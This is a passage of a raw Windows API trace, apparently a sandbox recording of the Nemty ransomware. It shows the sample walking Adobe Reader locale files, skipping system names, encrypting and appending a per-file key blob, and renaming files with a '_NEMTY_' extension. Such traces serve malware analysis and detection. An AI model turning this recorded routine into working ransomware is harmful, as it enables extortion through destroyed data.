ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.NOR", cAlternateFileName="")) returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2=".") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="..") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="...") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="windows") returned -1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="rsa") returned -1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="NTDETECT.COM") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="ntldr") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="MSDOS.SYS") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="IO.SYS") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="boot.ini") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="boot.ini") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="ntuser.dat") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="desktop.ini") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="CONFIG.SYS") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="RECYCLER") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="bootmgr") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="programdata") returned 1 [0180.074] lstrcmpiW (lpString1="reflow.NOR", lpString2="appdata") returned 1 [0180.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.NOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.NOR", lpUsedDefaultChar=0x0) returned 10 [0180.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.075] Sleep (dwMilliseconds=0x5) [0180.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1efc45b0, dwHighDateTime=0x1d561e8)) [0180.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1efc45b0, dwHighDateTime=0x1d561e8)) [0180.084] GetLastError () returned 0x0 [0180.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.084] GetLastError () returned 0x0 [0180.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.084] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.085] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.085] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="JhE+jy4llncgvkvVjG1esHZ4GUjrmRbWtkt88ZJuWCw0mBvJrssP+g0PKjGxf7/u\r\nZ3+kkuKBsydi+urMNZkdbkZ9Asb7glOl9jpiliU1xFdE8a3nkWrk8sl0QmgRBjK1\r\nuQpOuPaLkmMentLvN8ISo1V7DZHfR94jO+p+JMfhc6qc0A+h9zeQNOZwdehuu/Pn\r\nCaElPSliXSx9JQqkg6bIAgBA+czj+aU8wkmTGk044mjEyQkpKWG6QGStvl+zX9i2\r\nqr3QHgJh+Az3JeykgY3p+8iLaSvM4OODMt562y9gME1MHBPYYVKV/tTElQMWB6iO\r\n23eM/MZMCBVdUhl14k2fcQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.085] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0180.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0180.085] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.085] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0180.087] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.087] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0180.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.087] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0180.087] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.087] CloseHandle (hObject=0x2e8) returned 1 [0180.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.088] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor._nemty_kgobjgd_")) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.088] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.NOR", cAlternateFileName="SAVEAS~1.NOR")) returned 1 [0180.088] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2=".") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="..") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="...") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="windows") returned -1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="$RECYCLE.BIN") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="rsa") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="NTDETECT.COM") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="ntldr") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="MSDOS.SYS") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="IO.SYS") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="boot.ini") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="boot.ini") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="ntuser.dat") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="desktop.ini") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="CONFIG.SYS") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="RECYCLER") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="BOOTSECT.BAK") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="bootmgr") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="programdata") returned 1 [0180.089] lstrcmpiW (lpString1="SaveAsRTF.NOR", lpString2="appdata") returned 1 [0180.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NOR", lpUsedDefaultChar=0x0) returned 13 [0180.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NOR", lpUsedDefaultChar=0x0) returned 13 [0180.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NOR", lpUsedDefaultChar=0x0) returned 13 [0180.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.NOR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.NOR", lpUsedDefaultChar=0x0) returned 13 [0180.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.090] Sleep (dwMilliseconds=0x5) [0180.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1efea710, dwHighDateTime=0x1d561e8)) [0180.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1efea710, dwHighDateTime=0x1d561e8)) [0180.100] GetLastError () returned 0x0 [0180.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.100] GetLastError () returned 0x0 [0180.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.100] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.100] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.100] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qh0WeuA4uztB7pHDp7cMVSqDk1QBk/PFdoHrk1CElPtEr3konjHxhf+RLO7ayCkn\r\nqSECZm/C0vwF5ofVbO4OFO0qTU1EExyR1BD5EwXEwZ2kuP/d1Nz0wHMYk6Uk8pBF\r\n+r1cqfnA40HNFR8+xFVOjz6ZH1va2bMHK+i48nb/XATsE2UQqHyDPy4ZENwp5hhc\r\nKUuW6ARZukHOeB8zBcBLmXGNtq9sLCvs0AFQn290ZMEH/r179fhHxmckfPrkVdk4\r\nYJZrDAX8XCfVj1wL64s/IEYnZ4BWNbyhn+e2DIvuoL0JuDj8Ykf1eErfcn0QGOVi\r\no+WO6hNGDQyCQsTgxW1xJQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.101] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0180.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0180.101] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.101] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0180.104] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.104] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0180.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.104] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0180.104] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.104] CloseHandle (hObject=0x2e8) returned 1 [0180.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.105] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor._nemty_kgobjgd_")) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.105] HeapFree (in: hHeap=0x4f90000, 